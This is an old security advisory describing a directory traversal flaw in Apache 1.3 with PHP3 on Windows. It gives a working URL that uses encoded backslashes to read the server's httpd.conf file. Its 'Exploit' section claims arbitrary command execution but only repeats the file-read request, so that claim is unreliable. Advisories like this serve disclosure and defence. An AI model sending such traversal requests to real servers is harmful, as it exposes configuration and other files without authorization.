CHINANSL Security Advisory(CSA-200011)

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CHINANSL Security Advisory(CSA-200011)

Topic: PHP AND APACHE Vulnerability

Release Date£º Dec 6, 2000

Affected system:
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APACHE WEB SERVER 1.3
¡¡¡¡- Microsoft Windows NT 4.0 
¡¡¡¡- Microsoft Windows 2000
Impact: 
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CHINANSL security team has found a security 
problem in Apache web server
where using php3. Exploitation of this vulnerability, A 
malicious user 
can access the content of file in the machine where 
Apache web server 
is runing. 

Description£º
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For example (Windows 2000 + Apache 1.3.6 + 
PHP3):

http://taget/index.php3.%5c../..%5cconf/httpd.conf
You will get the httpd.conf file.

Exploit:
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run arbitrary command :

http://taget/index.php3.%5c../..%5cconf/httpd.conf
You will get the httpd.conf file.


Solution:
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None

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